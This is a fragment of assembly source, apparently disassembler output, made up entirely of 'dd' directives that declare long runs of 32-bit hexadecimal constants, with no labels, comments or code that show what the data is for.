		dd 97ABDFD5h, 40EB5100h, 7BEC6B3Ah, 0ED0A0070h,	0A65245AFh
		dd 9B0C5EFDh, 28924F84h, 3AD8F51Fh, 0E56D00B2h,	0D6BBD9A3h
		dd 1300D73Ch, 0A1DB0AF3h, 15E655h, 597CB898h, 0DD5C70E0h
		dd 8D1618C7h, 0C04CB4A1h, 35AA3980h, 40FBD5B7h,	38E41300h
		dd 0A28B20DBh, 849D3F05h, 0EB5C8A05h, 0AF70C044h, 90167D4h
		dd 0E724A24Bh, 39CD0A05h, 4770E0h, 94E268BBh, 3A69E4F6h
		dd 52986318h, 5366D0h, 21EE5F58h, 0E88B2DBEh, 0B89540h
		dd 9E94DAACh, 0C0886A84h, 6D4F4004h, 23C08AADh,	1D30F79h
		dd 6CAF225h, 0FC5F1796h, 1BE83BEDh, 0E4710700h,	5B55AFB6h
		dd 203200F7h, 660E832Bh, 560004CCh, 7F9FBECh, 1903B969h
		dd 11F581C9h, 0DC82F4EFh, 63201C01h, 67B07477h,	0C00418D0h
		dd 83408520h, 8C0FC944h, 800BA0C5h, 6F9DC4A5h, 42A40013h
		dd 0CEF6C3BDh, 730710E4h, 0A87ED0Fh, 6081404Ch,	850649E5h
		dd 1900476Bh, 55A95886h, 0B69DBEh, 0BDA5EA73h, 7E8C1B38h
		dd 0E181833Fh, 0BABB3969h, 15769E4h, 32AEF10h, 0E4F175D8h
		dd 43208BBFh, 1367006Bh, 35E4FC06h, 0AC6676AAh,	214009h
		dd 0A50699C7h, 0E960D28h, 0DA4BC400h, 44D54268h, 0E8F6B0E2h
		dd 5C91E024h, 4E076D6Dh, 0C1E6D119h, 58CE03B0h,	8204FE98h
		dd 64481C11h, 2100FA33h, 2183538Ah, 603992h, 0F3E87324h
		dd 7054C517h, 7D8A461h,	0E0D14F6Dh, 2D5DF0h, 1FE41424h
		dd 1AAF4529h, 0E17FC8EFh, 0A46EC22Ah, 0ACDAF400h, 53B637C4h
		dd 0F68A30CEh, 33914471h, 6600CBEAh, 0FE9D1CB5h, 70F5F1Dh
		dd 0F49C80F8h, 10D3E074h, 87F60299h, 20A79600h,	0B4CA0940h
		dd 67EB007Fh, 1BCFCC64h, 28603717h, 1E40F58h, 618601E0h
		dd 84F315F4h, 160898C4h, 3CD6A21h, 65367AE0h, 0F6FB2E56h
		dd 0CCB0B5E2h, 0FE1106DDh, 109005E4h, 663D900h,	7D8D08A0h
		dd 9B709D15h, 925F0090h, 623D2E18h, 0C451DD3h, 5EDC8002h
		dd 9ABE841Ah, 14F1BF00h, 959B46DBh, 3502E87h, 0A897003Ch
		dd 170B9FA1h, 83691903h, 0A10C8B1h, 0CA30A0A0h,	0C0B269Ch
		dd 58F87820h, 5A9EC100h, 25B41921h, 0A020E141h,	0F9074013h
		dd 0BB9CD30Ah, 75782038h, 0FF068C43h, 0A67049C6h, 870901D1h
		dd 8A2A03E7h, 9832E1E2h, 29219C09h, 14E800B6h, 0CE7E8494h
		dd 0FB05C4F7h, 0FD4EA99Ah, 0F52EB840h, 31A689Ch, 46E61744h
		dd 41D0A3FBh, 27012DAAh, 0F278D12Fh, 30A81A84h,	0C99E22FCh
		dd 0C15D8C00h, 1A54CE4Eh, 0BB1318A4h, 348B2818h, 30C031C0h
		dd 0ECE7582Bh, 1D66EEE4h, 81C9F14Dh, 0FFA19D98h, 0D14FF08Eh
		dd 0F26EE02h, 0E2F273CDh, 74E82014h, 30ED36BAh,	8AD9D985h
		dd 80C0069Dh, 0EFCE7311h, 0BDDD011Ch, 2F334F05h, 87E1D01Eh
		dd 1077A40h, 0D18F5AA4h, 30172AD6h, 9C056528h, 293E1FC7h
		dd 56248447h, 0D9E866h,	0E9F2FBA4h, 1214440Bh, 1F580D14h
		dd 59268D80h, 0DD38E0h,	7318F163h, 0A7100C3Bh, 0DD28714Ch
		dd 6140E23h, 630DE464h,	0D8590008h, 3346065Eh, 0A4247326h
		dd 0EE04F039h, 0D840A79Bh, 148DEE0h, 456C624h, 6E8A2C0h
		dd 8082432Ah, 0ECE8B52Ch, 49800C2Fh, 17C16A85h,	0E5BC8602h
		dd 0AF58F1BAh, 0A91A87DCh, 75FCF583h, 788C9911h, 86690Ah
		dd 53E71162h, 777D1FFEh, 7085E114h, 31385C8h, 57DBBC41h
		dd 4417F226h, 0AC34886Ch, 8166841Fh, 0AC9CD4h, 35B63B9h
		dd 4F2FA6h, 0F4C9AF9Bh,	0B6BD7CF6h, 4D5E9F0Fh, 1C219294h
		dd 8050AD84h, 64FE1Eh, 9C8B0D98h, 0E53185F9h, 15BA5400h
		dd 4B24705Fh, 0B8F0519Ah, 8C635820h, 0BAE0ED04h, 0FF62D462h
		dd 0E0F54620h, 0A3F43FFAh, 0B4120C81h, 85278BA1h, 229FB221h
		dd 0E001E834h, 1BAD10D5h, 944B453h, 0D1FA56B1h,	5B4EFC00h
		dd 0C8991918h, 87E8DE89h, 0D720D8B8h, 394E2746h, 759F2B1Ah
		dd 2524D236h, 5B480064h, 6015332Eh, 96F50D03h, 17C12B25h
		dd 0D158E1h, 0F11A4910h, 0DB313D62h, 0A2D41E1Fh, 7A7830h
		dd 1E7F46EAh, 90C9CA42h, 93051D28h, 571CFE03h, 6B92869h
		dd 0BC1B2640h, 920058F1h, 6371F97h, 1F1095D2h, 80BB3AC4h
		dd 6AD9A7A0h, 0D80CED48h, 0F17C8B28h, 0FC630427h, 0FBD03F19h
		dd 305D1E00h, 0D3CFC3h,	81387B86h, 31B4F2A4h, 52B2C001h
		dd 1B8C099Eh, 1DE81024h, 1CC590DDh, 117C0050h, 93B0A46Bh
		dd 9EF2DE00h, 7B2B264Eh, 26B89A0Ah, 8ECAAA8h, 5806B5Dh
		dd 0D8F349C7h, 0E69C1809h, 0EEE45875h, 14E76A26h, 0CC1F3C28h
		dd 6680B4BCh, 0C2FE8096h, 0C8CCA2F6h, 140E204Ch, 209BB699h
		dd 19C741E1h, 30A1A842h, 42040611h, 75D365E5h, 210F4123h
		dd 400617DDh, 14C36049h, 789E04CBh, 909F8563h, 458FE870h
		dd 0A40021E0h, 50B0C2C5h, 0B9835BB2h, 0DE100D0h, 0B6F32C5Ah
		dd 4B7EE300h, 0D1A8B461h, 0E0893DFFh, 949A1581h, 0F158799Dh
		dd 0C0904492h, 0E993A1F0h, 5D6CF418h, 0C0A37F91h, 0BDEFA579h
		dd 33171255h, 0DC01CC94h, 0DAB4CB8Fh, 0D0C4E021h, 681C3EF0h
		dd 31206980h, 9FA07C14h, 3A38B100h, 0AD411FD8h,	0D27D018Bh
		dd 0A90D2C47h, 0A6F05019h
		dd 0F5E06E24h, 0D4143201h, 0EEDFBCD6h, 0BB94E8h, 0E7FA3923h
		dd 0CA24CDBDh, 8F9BE11Eh, 0AE85A980h, 6CD0ECA5h, 0BA98A9A0h
		dd 5C146AE8h, 7D0C7F2Ch, 0FD9A961Ch, 92B00340h,	38DE3D95h
		dd 36815918h, 0A7F20CFAh, 39918004h, 615ACF4h, 0C0E70132h
		dd 0ED01B4DDh, 15343298h, 0FB8F38Ah, 80AFC1C3h,	0A427FA12h
		dd 0D025E92Eh, 32D604Ch, 0F26BC61Fh, 0EF906DF1h, 0A060FB11h
		dd 67DB8D48h, 5DA100BAh, 83FB7E8h, 58001B45h, 0A4853339h
		dd 761B507h, 0E0EF4A35h, 7C13C03Eh, 5003A25h, 0B564E7F4h
		dd 1FCC8750h, 1D5D45h, 0D283A084h, 7EF09172h, 2861BC05h
		dd 0CF830AFCh, 0A182E3FBh, 0A0DC6987h, 1812601Ah, 3864253Ah
		dd 0F30450C7h, 5E261380h, 0C5C30F7Ch, 85E0FBE4h, 3CE0AD5Bh
		dd 80EC210Ch, 0C718D1h,	43AC7950h, 20093F27h, 84CF4F00h
		dd 7BBD2518h, 288FE7C3h, 8740B342h, 8C3B7DA0h, 18F47830h
		dd 0C5366233h, 305826D8h, 9E7CAA04h, 85878B01h,	9383A66Bh
		dd 0E61E6B20h, 80D83B28h, 0AA7F7685h, 2EA1C0F1h, 0EB1423E8h
		dd 188C55C6h, 0A4319717h, 0BCDF0120h, 512DEE3Dh, 225BC860h
		dd 0F5EC3972h, 8BB0E765h, 2CE9284Fh, 0A15819F6h, 998B1EC0h
		dd 0E70D0CA3h, 0D0EBE118h, 60A63D6Fh, 7224F00h,	1C287BC1h
		dd 2E7E3089h, 6460C759h, 90EA52h, 3AED1E73h, 0CC3DBEEh
		dd 0FA503538h, 490A7A79h, 7C875113h, 84A3128Ah,	89DC0A67h
		dd 139C1A33h, 840119A0h, 56B178h, 9259CA87h, 0E2D21D08h
		dd 0B6D00A8Fh, 0E9110848h, 4423C17Bh, 0BD9A4983h, 3900C833h
		dd 6EFC375Dh, 5BFCD69h,	0AD22363Dh, 65540033h, 1CEC3AF9h
		dd 586431C0h, 0A2117CDh, 0A85612B2h, 455A0650h,	2D003934h
		dd 80215CEEh, 28837822h, 0CCC19C4h, 9F4A690Ch, 0B100A311h
		dd 0D558D9A0h, 0F6B7D453h, 57BCA012h, 0B520156Ah, 960FC4CCh
		dd 40320529h, 5E459B68h, 11C06F59h, 0D388D5F8h,	7B557C2Eh
		dd 957B1453h, 0DC40345Ah, 21C1C0F7h, 26DAA4FBh,	13BA640Dh
		dd 788919D1h, 0AB04FAE8h, 6100902Fh, 4FF493E5h,	29104A63h
		dd 6917041h, 711C89ABh,	7E7810D2h, 84A80128h, 4222DA1Dh
		dd 3FEA5207h, 0C01A9960h, 0A1AD0377h, 0FD9F82CFh, 40AFB978h
		dd 4FF88D81h, 0AD33Ah, 1271151Ch, 0C08436A6h, 23EA7919h
		dd 9724721Eh, 1D85C8A5h, 0AC452ABCh, 540FA8C0h,	0BCA90A23h
		dd 5C091A91h, 5083E6FBh, 4000AB22h, 40BC6B33h, 24AF5EB5h
		dd 81802A7Bh, 15D7500Bh, 0B6DC1107h, 0C0F0C41h,	22860308h
		dd 0A3772697h, 0FCC86B00h, 0E2D32D40h, 780926Eh, 4E7F8373h
		dd 551C3027h, 1B749714h, 2A219260h, 0E3634Bh, 0EACB1AB3h
		dd 9B108450h, 36FD1400h, 0B7872006h, 0C268C0FBh, 3C03193Ah
		dd 3738A8A8h, 8D81FD00h, 0A1204F63h, 4E08C994h,	50FAFC20h
		dd 5800E6AAh, 0E8B33D6h, 5893B5Ah, 8A2BF60Ah, 32C02020h
		dd 52046111h, 6F01A475h, 8EC5F581h, 98A50F8h, 0D94B7C43h
		dd 0B9BA8C83h, 2D41B80Ah, 4C4074C8h, 0D1261563h, 911074E0h
		dd 96D30023h, 1A60117Ah, 3BE70076h, 90A680D1h, 0FC03FD5Ah
		dd 3F2B50E5h, 98516018h, 1DF081E9h, 60ED20C1h, 4045B32h
		dd 30055084h, 23B8A9F4h, 2D189B8Dh, 1C41F521h, 5C23BFFDh
		dd 0C87C577h, 0D758C143h, 0E7A1808Dh, 64787D2Dh, 8F5700D9h
		dd 8C216DB5h, 0F8C1BF50h, 20176081h, 7CC1C447h,	18A0BB7Bh
		dd 8C3F15F8h, 767E9044h, 0D5393E6Bh, 35559E0Eh,	3E4900BFh
		dd 10F89283h, 2987CC00h, 0FF386C77h, 68EC17h, 537A1C90h
		dd 0D9D7C16h, 26BA3300h, 1B30D96Bh, 38800054h, 94276873h
		dd 8F0A9AEBh, 483167Dh,	9900D45Fh, 582CA5D5h, 75070D69h
		dd 7C730419h, 3E28016h,	90462083h, 6C297BCh, 95892233h
		dd 0F57F4147h, 5ABDEB07h, 241273E2h, 0C04A63FEh, 18C88B69h
		dd 71CE1A5Ch, 60C6730Fh, 78154A9h, 86C1BDBAh, 998546C8h
		dd 755B0A00h, 19BB8CB1h, 0BFA30084h, 0D3485CDEh, 9004610h
		dd 33477266h, 29C0CC30h, 10C10Dh, 39146658h, 0E61BBF7Eh
		dd 0B3589DCEh, 0A7610084h, 608D2A18h, 9A0292ADh, 474D9576h
		dd 0E5EE002h, 3FD80E23h, 0E123DDC8h, 0A23043D9h, 9E6DF15Dh
		dd 0B66A0060h, 9530ADF3h, 2E0132D0h, 0B73F48C2h, 0A3E68010h
		dd 0C0071E9Ch, 688A0Bh,	0ED598539h, 0F8225874h,	8E9D360Bh
		dd 0A440812Ah, 61BE1780h, 160E2100h, 282D1496h,	7455E75Ch
		dd 314FE4Dh, 0DC0BEEADh, 7CB4987Fh, 0BB1A2262h,	0DAACC18h
		dd 6047BF29h, 0B2301895h, 0F80717E4h, 9B77143Ch, 0B4078E60h
		dd 9D511D3Fh, 9A30C0F4h, 153947FDh, 7C706903h, 1B88B50h
		dd 0D0DA6F59h, 42C455D2h, 0B0A68DACh, 7D00E9D7h, 0D2CCD0DEh
		dd 0A08B12ABh, 0A6B348h, 705EF8C5h, 0E15C4244h,	1BCEC000h
		dd 0D3F63810h, 14050089h, 2B24722h, 0FF0FBCF4h,	0E61CE74Fh
		dd 7848926Bh, 0FCF00E2h, 0E6BDD765h, 8D009897h,	6ED856F1h
		dd 54984DCh, 920A6B22h,	65D421AAh, 2F6040F1h, 32003DCEh
		dd 236AB589h, 47709Eh, 1A081D38h, 0F47DE16Dh, 4A716063h
		dd 1D08707h, 28A903h, 4E55C6B8h, 92A5EA34h, 851894A6h
		dd 6270672Dh, 89230331h, 7638CD5Dh, 35FF0E98h, 0BED42716h
		dd 9EE33000h, 2465063Fh, 3055AADCh, 0DA485D38h,	4F47139h
		dd 9B2EC147h, 503883h, 0DA52EA59h, 3E9A02A7h, 0FF59218h
		dd 0C061BFE1h, 0CCB5B9B1h, 5500D975h, 816C9EA9h, 9249BF2Ah
		dd 3D9FEA00h, 4200E8CEh, 0CB8F012h, 662437BDh, 7840C4AAh
		dd 3722E87Fh, 0B0615C94h, 0A55DF1CBh, 0CF354F00h, 8051EF73h
		dd 309204h, 207FD211h, 5EE10543h, 8D978E50h, 6D7CE473h
		dd 0D0C44548h, 0B00CC594h, 0A1B2CC0h, 3A2990B3h, 6D96A60Fh
		dd 8FBD0006h, 0ED2FB8C5h, 0D5804712h, 990A3040h, 43C2687h
		dd 0CA51A855h, 0C5F882F1h, 3F0CFC46h, 0D165F5DBh, 0A1370023h
		dd 0E4BAA342h, 0D4723DC5h, 0BF915061h, 0C34D52Eh, 0FF8B3076h
		dd 0D7644269h, 5E070FFCh, 489F2BC1h, 0E9D6B700h, 13749Bh
		dd 84647D8h, 0B9584DDAh, 0EB57000h, 69534FB0h, 92B82475h
		dd 6754E4A4h, 5036D030h, 0FA448C24h, 1B490A9h, 0EC319984h
		dd 482E922Ah, 3FE8EFC8h, 0C00A952Ah, 8075093Dh,	14F8D3E0h
		dd 94652Ch, 36C005D5h, 0BE092512h, 0E27EE5F8h, 18642B5Ch
		dd 3769748Bh, 9E1C00F5h, 0A95B7E3Ch, 448486Ah, 45EC09BCh
		dd 8DD89080h, 2FC49h, 59D4528Fh, 1B6719CDh, 28B65C00h
		dd 3E0CFA1Eh, 59766480h, 40B9C1D3h, 9E68E9BAh, 948054A9h
		dd 0F005159Fh, 17D0A86Fh, 0BB21121Ch, 1570060h,	5F3DF766h
		dd 0ECD21900h, 3A1CAA39h, 151003BFh, 47DB7E33h,	4F280861h
		dd 309467BDh, 0C840C4D8h, 8C9185h, 0D2C04B27h, 0B700A7B1h
		dd 458B44C2h, 24D16h, 2399348Dh, 88A94859h, 0C81C7B03h
		dd 2B82B8h, 51F92699h, 9F3ABEB2h, 71D08404h, 1C885F9Ch
		dd 22D343E1h, 590800FAh, 89DFE9BBh, 0CA00B9A7h,	242033F4h
		dd 0E8BE6E55h, 28580111h, 233260A9h, 0EE0430B9h, 0DA12028Ch
		dd 5E61F5BFh, 80651F18h, 0DA005320h, 3A061512h,	2D92D13h
		dd 0DC1B4488h, 0BC008F90h, 16B4B927h, 18080Eh, 0AEFD32C0h
		dd 97000983h, 0CDD83C06h, 98357DE2h, 91240F98h,	90CCBDDEh
		dd 0C0056340h, 0A6E04D13h, 9838940Ah, 24416493h, 0F812E878h
		dd 351CF0h, 6B71FA98h, 6784E69Fh, 4862E726h, 0BF662380h
		dd 92911564h, 572A0024h
		dd 0F46F95C6h, 1348FCE2h, 0CA3A1E48h, 14401192h, 0D6B56EC9h
		dd 3D58008Bh, 0A879841Eh, 0DA0EF6F2h, 0A0AF14D4h, 0A97567BFh
		dd 12811ADEh, 0A061B895h, 3418CAEDh, 9615100Dh,	9A0E00Ch
		dd 5D1F0E0Eh, 6DE099C6h, 0F6DBCA23h, 7EC18660h,	17C58Bh
		dd 0D7602F18h, 0D83BFCA5h, 1DA6020Bh, 0B12490F6h, 0E36100F0h
		dd 550BA489h, 5839B99Dh, 0C864128Eh, 0E007784Ah, 3EC20980h
		dd 36CC0F7h, 81C90E56h,	7CE842A9h, 6749515Dh, 4C30486Ch
		dd 4106239h, 585C4048h,	52DBF0C1h, 1301B089h, 8A5CDCBh
		dd 112B007Ch, 4B8A0037h, 0D8540AEAh, 8B304585h,	0CBF0212Dh
		dd 0BEB75C5Ah, 0DDE87700h, 294067BEh, 0AC73DB01h, 4A2C9CA3h
		dd 47F1F450h, 4FA80E37h, 0A2200E61h, 0AD02C0B0h, 0BF05ABE4h
		dd 0F610D65Ah, 79FD8C8h, 662D30F2h, 0DE5F00E7h,	0F109CFDDh
		dd 28676373h, 7E189CACh, 6EC6BC1h, 0C0F2C484h, 4E09E003h
		dd 1707AB6Fh, 91108848h, 776D8060h, 0F83E0BB1h,	9016E18Fh
		dd 0A4419D00h, 1D357B5Bh, 0FE38024Bh, 0DFA1965Ah, 0FBE490A0h
		dd 9800D993h, 6CF560DBh, 0C0B8BD1Dh, 49384DE1h,	0E71D303Eh
		dd 0B54C2D55h, 7CD4D928h, 0D45179Fh, 0CC0136Bh,	50388181h
		dd 0CB913D01h, 0BDAE965Ch, 0EEDA6C74h, 3E66001Ah, 99416947h
		dd 58C329E0h, 0A2CCBE50h, 15C4035Ch, 623D3817h,	47DA3C00h
		dd 1E780F4h, 0C7730C67h, 8063EFACh, 869D0F49h, 52A8C74h
		dd 27CF8248h, 0CD182015h, 1E024718h, 0CC88E6A5h, 0DB3C60AEh
		dd 38A70444h, 0C0033175h, 8872E91Fh, 247F4B00h,	9360047Dh
		dd 5F691CF2h, 2163C058h, 7EAE6A11h, 0E8CB2700h,	4E822B76h
		dd 1FE03351h, 0B8184680h, 48F10541h, 0DCF914C3h, 7D229C24h
		dd 0A96E6C02h, 0A1149CAAh, 340247D8h, 1C31DE0h,	0FB767C0Ah
		dd 0E4B51A63h, 0CB0CFD31h, 41668285h, 0DA6B0E9Dh, 0EEC0AB91h
		dd 58A4EB7Bh, 2181D830h, 391E7Dh, 414B936Ch, 8EEB82BEh
		dd 2E5E6609h, 0C7742171h, 0CDE8FD0Eh, 87CB007Ah, 9960D50Ch
		dd 831E3758h, 0B1F3A201h, 6EF7D0C6h, 14210043h,	0BB19AD0Dh
		dd 3D0072AEh, 0EE660978h, 4848D2DEh, 2F14F8CFh,	98004486h
		dd 8099B4A8h, 0DA0FB361h, 0C08D6E90h, 35F7C17Fh, 940B4C3Eh
		dd 39628286h, 0AB9D2F00h, 0AAC0E1EBh, 5701000Ah, 4CD68D77h
		dd 11F41958h, 88F05229h, 28027400h, 0A42BA8h, 498BA397h
		dd 60C382F9h, 0B8756090h, 0CFA65801h, 7CE9F45Ch, 702D0901h
		dd 1CE807A5h, 989B9702h, 483F46DAh, 188F10h, 4D87B0B4h
		dd 2BF87C5Ch, 27386218h, 0C0618241h, 0BB9E6081h, 2C007F0Dh
		dd 0A78B5DB9h, 0C063C73h, 2E67460Eh, 5C011D29h,	3EC8B4D6h
		dd 21F01258h, 408D4A71h, 9E73CF44h, 0C201538Bh,	0E677879Ch
		dd 65D05C9Fh, 723D03ECh, 0AFCCB8B5h, 967DA100h,	884FEEF8h
		dd 8CE07A2h, 40643312h,	0D2653B2Ch, 7B721400h, 0B794D16Ch
		dd 639EE03Eh, 668F08CAh, 0D3F02002h, 0E05A7B6Dh, 1CF7F2CEh
		dd 4BBC899Fh, 20004151h, 3FDC4CCEh, 0B9849A00h,	11420297h
		dd 0A410C63Bh, 1E0348D7h, 6FAD514h, 3478002Dh, 53091055h
		dd 9E189DF8h, 6308C75Bh, 0D420C012h, 803C105Fh,	513CF1E4h
		dd 0B0951C55h, 0E40CAA1Fh, 37E12814h, 71C9168Dh, 81FFC492h
		dd 25B0DB20h, 0F1B9EB2Fh, 6DCA1D46h, 0C44F9448h, 0C2FB4069h
		dd 0CC646Dh, 0E7C34E9Bh, 3F3E1989h, 96E80800h, 0C284DF43h
		dd 974EE1Bh, 0EAE79C98h, 33FFB581h, 0CB80862Ah,	12713786h
		dd 169F592h, 6D73848Dh,	458C4312h, 0E42D6BA9h, 10702749h
		dd 0CA0D4800h, 0D21B3A4Bh, 0A1923C46h, 66A7CF80h, 5C2250E8h
		dd 486D1E00h, 93DDA79h,	4CF20183h, 0F0820345h, 0DF67F4E2h
		dd 0CE85E07h, 0BC7528Dh, 3D4126D0h, 0B0050066h,	0DDB23BF5h
		dd 900AF73h, 4CF89BD0h,	179EC4Eh, 2F820C9Dh, 20DD16DFh
		dd 35004A64h, 54435B57h, 0EED7CC8h, 0C39320B5h,	8322DDA0h
		dd 60F4E407h, 0C8358C00h, 0C0CC3BBCh, 0DC160758h, 0E01B64A9h
		dd 9ADF04Fh, 1A0B4374h,	7806D6F8h, 7C3A07C3h, 1078C553h
		dd 0AD6E3FE4h, 1A312700h, 76A3BE67h, 3E28C88Dh,	30E94041h
		dd 0A4106B02h, 561288E1h, 40204B88h, 22846F39h,	0B650EE06h
		dd 98442628h, 62284033h, 0D7186F00h, 5897DF54h,	25B507EFh
		dd 1CB7Bh, 0C3AE6B2Fh, 945B8E00h, 75E97046h, 0FE5D00D1h
		dd 748B59ACh, 0D9E624BFh, 7F01427Eh, 0E8C2BCB9h, 83C8AD7Ch
		dd 0A8BA0023h, 24464D6Bh, 6400EBDAh, 8B4B89A2h,	10E9BC6h
		dd 0EE1718EAh, 0D4ACD2D6h, 0E000448Fh, 68A30F0Ah, 7ACF2Ch
		dd 9EB6BADDh, 92AC157Eh, 635DBC0Ch, 7021885h, 4B942CC3h
		dd 96CE80D4h, 7D00D793h, 671E12ABh, 0B9EA92h, 8DB909Fh
		dd 8683ECFFh, 1B000DB8h, 87327CE6h, 0A0387215h,	8F60D8h
		dd 51D097EBh, 0D75EC89Ah, 0B615D200h, 94997D07h, 1A5000B5h
		dd 4B372AFEh, 640087B9h, 3DDB26FDh, 0E6608319h,	1B821CACh
		dd 46C9CE11h, 40BF2187h, 84BB10EFh, 98133C30h, 0F65F4F5h
		dd 0FFDFF2CEh, 229AB440h, 6D00B31Ah, 0E05EBB29h, 42FE5D8h
		dd 7CBE3374h, 393090E2h, 0BB8071Eh, 591C3F00h, 19412934h
		dd 0C8950047h, 57248EAAh, 2C040C75h, 0D8BECBDFh, 0D0EF4083h
		dd 3948011Ch, 0C180C828h, 0E4B4B2B7h, 0BE01B92Fh, 6137C45Ch
		dd 16E0308Bh, 66F00CFh,	46E74312h, 0D20041EAh, 0F35B097Eh
		dd 7B65584h, 0F399D5Ah,	88379085h, 3E0F6D3Ah, 8130A626h
		dd 0C4B14867h, 20FACCh,	43B70942h, 127A5D3Fh, 80A9BA00h
		dd 63ADAC41h, 0A65B00C8h, 5FE48EE7h, 7A4845B0h,	43C200A8h
		dd 52234D42h, 969000F7h, 8FF5FB6Ch, 0A37A1BB8h,	0FA05D407h
		dd 0CF90B38Eh, 986F2296h, 0F4A7007Ch, 0A251FCADh, 0BC1C8B94h
		dd 9080FD08h, 0D7B074F1h, 721E3B11h, 0E585100h,	96802761h
		dd 923D0300h, 20E0B502h, 236503FFh, 673AD51Bh, 0BB057998h
		dd 0A6805801h, 0E2D0079Dh, 0E0E86AD8h, 0D890BFh, 9B1E43AAh
		dd 0EE2AB0C1h, 0E0C5B200h, 8DF062FFh, 15B909A1h, 38205034h
		dd 0A50D7D19h, 8039EE3Bh, 96B652E9h, 2A6483h, 320C56C6h
		dd 0F6855481h, 0F400B771h, 2DBBCE93h, 7C9CBC44h, 7A9000DFh
		dd 0B7887763h, 7D07C630h, 9932A450h, 0E3794950h, 2752003Ah
		dd 1A3438E2h, 22004E7Bh, 0FF26C808h, 73823972h,	33C00081h
		dd 85B01450h, 693CE031h, 269180F6h, 0AB11D410h,	725F3E8Ch
		dd 0E86B50F5h, 0DCB000ECh, 21A6E8Eh, 4039722h, 5DDE1E05h
		dd 5FABC1E3h, 0C790F047h, 0E2F28D4Ah, 897614C3h, 1C008045h
		dd 14375EBDh, 2AC17304h, 8ABC6090h, 2F5A30h, 0CEDED035h
		dd 0B0802625h, 39509D00h, 0A42A9249h, 0CA6A00CBh, 81E1B566h
		dd 793F5B5Eh, 1404C75h,	1CD5BBEDh, 78EC6CA3h, 1F740016h
		dd 123D71EEh, 0F8001773h, 62A12311h, 0E0DE80h, 4678CBB3h
		dd 8C6E6371h, 0CDCF102h, 87F6F8B7h, 0BA877EB2h,	88E41E93h
		dd 90DAB04h, 11827197h,	0ED6F0500h, 5D004327h, 0E1A160D4h
		dd 4D0EAFh, 41B294E5h, 885E1E78h, 0C2352600h, 2CDAA799h
		dd 0D6BC0734h, 80AA9F5Ah, 0C3A9C9D5h, 541B1A25h, 38AE00C5h
		dd 79EA8CFh, 79C74C00h,	0A59D15B7h, 0F47B03E3h,	0FC1C579Fh
		dd 6650A788h, 585A4F24h, 58900447h, 0C726A8h, 8B99302Bh
		dd 1584FB2Fh, 80517338h, 0A6BB2885h, 0A7DEF7h, 99F531E9h
		dd 0C33688C9h, 0FF1A1500h, 0EA5DFA19h, 3FCE010Ah, 0CA0B1121h
		dd 60FA40C2h, 22032D08h
		dd 0F50F0639h, 0CB1DA084h, 0E5DAA3C5h, 3B104404h, 27500700h
		dd 0F701C8F6h, 1358DA5Dh, 55F5571Ah, 53ACD88Ch,	0EE04F159h
		dd 508D2C62h, 0A9306C87h, 3A22D99Eh, 0BC80F8BDh, 0B9FD9CBEh
		dd 0B813BB4Fh, 0AC006FFBh, 0F80B4E40h, 267A019Fh, 5A0CBF3Dh
		dd 0E6AF4259h, 660F52E0h, 61BD880Fh, 9FBB60ADh,	7635DEh
		dd 93253C58h, 0EA649057h, 9BE94A02h, 4344FD24h,	1903E888h
		dd 0CCDF01E5h, 794ED52Ah, 1FF6F055h, 80127438h,	0A1DAC71Bh
		dd 0B37853h, 14578946h,	682215BDh, 0DF0081ECh, 0F205FBEDh
		dd 8DB0F4h, 4B2558D5h, 0CFAF2B24h, 621F507Ch, 0C5C02977h
		dd 0E0BA1E69h, 0C02013Fh, 40F9948Fh, 36B9DCE5h,	5EA21802h
		dd 60FA6D0Fh, 51E988h, 71F2E54h, 8CD9766Ah, 0B42CA124h
		dd 0E4623800h, 7C42B0EFh, 9E5A00A3h, 6937406Ch,	0CC0084C1h
		dd 137245F7h, 7030C50h,	117D5E23h, 0AF80F214h, 75E23340h
		dd 7033B61Ch, 0D06E7380h, 997CEBh, 0BA2694AAh, 9CCEB95Dh
		dd 2AE06D60h, 3FB79DE6h, 1E096752h, 0CC00CCB2h,	895506C8h
		dd 0A68F100h, 1C93725h,	0A01D1244h, 0DF5E003Bh,	0D891D477h
		dd 9400D3B0h, 40C04B16h, 6DC166h, 27E951BBh, 0C5AFD1B0h
		dd 0DE241000h, 0A06C02DBh, 1C2F0E57h, 0C20068E4h, 0D03E7C37h
		dd 0D9C6A01h, 0E0DABFEDh, 6E8AFCh, 7B87A3BBh, 0D7066D9Eh
		dd 691B0A0Fh, 6074AFC9h, 12A9E532h, 0CCAC0008h,	0BDE237C7h
		dd 1CECEE0Ah, 7B5FC400h, 8DD8CA78h, 0E3FB01A5h,	41B0DE46h
		dd 8090BAF1h, 21D90C7h,	0FAB4FE03h, 453D003Bh, 9DA9065Eh
		dd 0F8F41716h, 52D143Bh, 0C9E9D67Ah, 19B87180h,	8EF407DEh
		dd 93D962E7h, 9D03FB0h,	89908A1Bh, 980FA200h, 1DAD9052h
		dd 366D00D6h, 0D0272B7Ch, 4704D95Ch, 0B10DCB14h, 7168A481h
		dd 30563064h, 0FCD6B2C8h, 0AB00DF92h, 0B6392335h, 0EE0D0E6Ch
		dd 7FB006Ah, 0B9FF2A87h, 9C00D065h, 3618EC1Eh, 495261h
		dd 0F4641975h, 0CBE593B3h, 12E1C200h, 924AC123h, 9F090341h
		dd 47B44560h, 7E3C20CEh, 4481127Ch, 85244403h, 6742D0F5h
		dd 2C55EACCh, 956ABFAh,	0D280FD86h, 0EDD63521h,	83384100h
		dd 551BB990h, 7C3218C6h, 0DD5DCC92h, 946F8101h,	0E38D6163h
		dd 11B54420h, 0E1CFC05h, 1C70C175h, 6F012D01h, 47EC412Ah
		dd 1E35002Eh, 0B16911D2h, 980F2389h, 8049B322h,	0AE92A668h
		dd 295F8CCh, 37772BB8h,	5740406Eh, 0A2FE395Ah, 0EFD53403h
		dd 0F0805266h, 0D6EE3Fh, 0B9916048h, 9843CE32h,	0FCEDE700h
		dd 0B8A22496h, 0B78300C2h, 18CB5E09h, 8F7C0E9Eh, 3321F500h
		dd 7772B936h, 0B62D251Eh, 0E5C0208Fh, 54BD3938h, 7A77C67Dh
		dd 0DA30FCBAh, 5E62E123h, 8C9880h, 0D9DB8E3Ah, 31764777h
		dd 2B91D000h, 0BF01C6B3h, 344F1CF9h, 56ACC025h,	556379C4h
		dd 52E3D603h, 0B0C94BF2h, 0CEC3F3h, 3E99685Eh, 0E238A8DEh
		dd 2D036477h, 1AAAC839h, 0F0AEC0F3h, 177F0026h,	85147501h
		dd 0B24C0548h, 4B0600B0h, 6C4C716Bh, 0E7EB0065h, 2D6E9951h
		dd 0D8170795h, 0D400F2CAh, 818343AFh, 52FAA4h, 6D0C539Ah
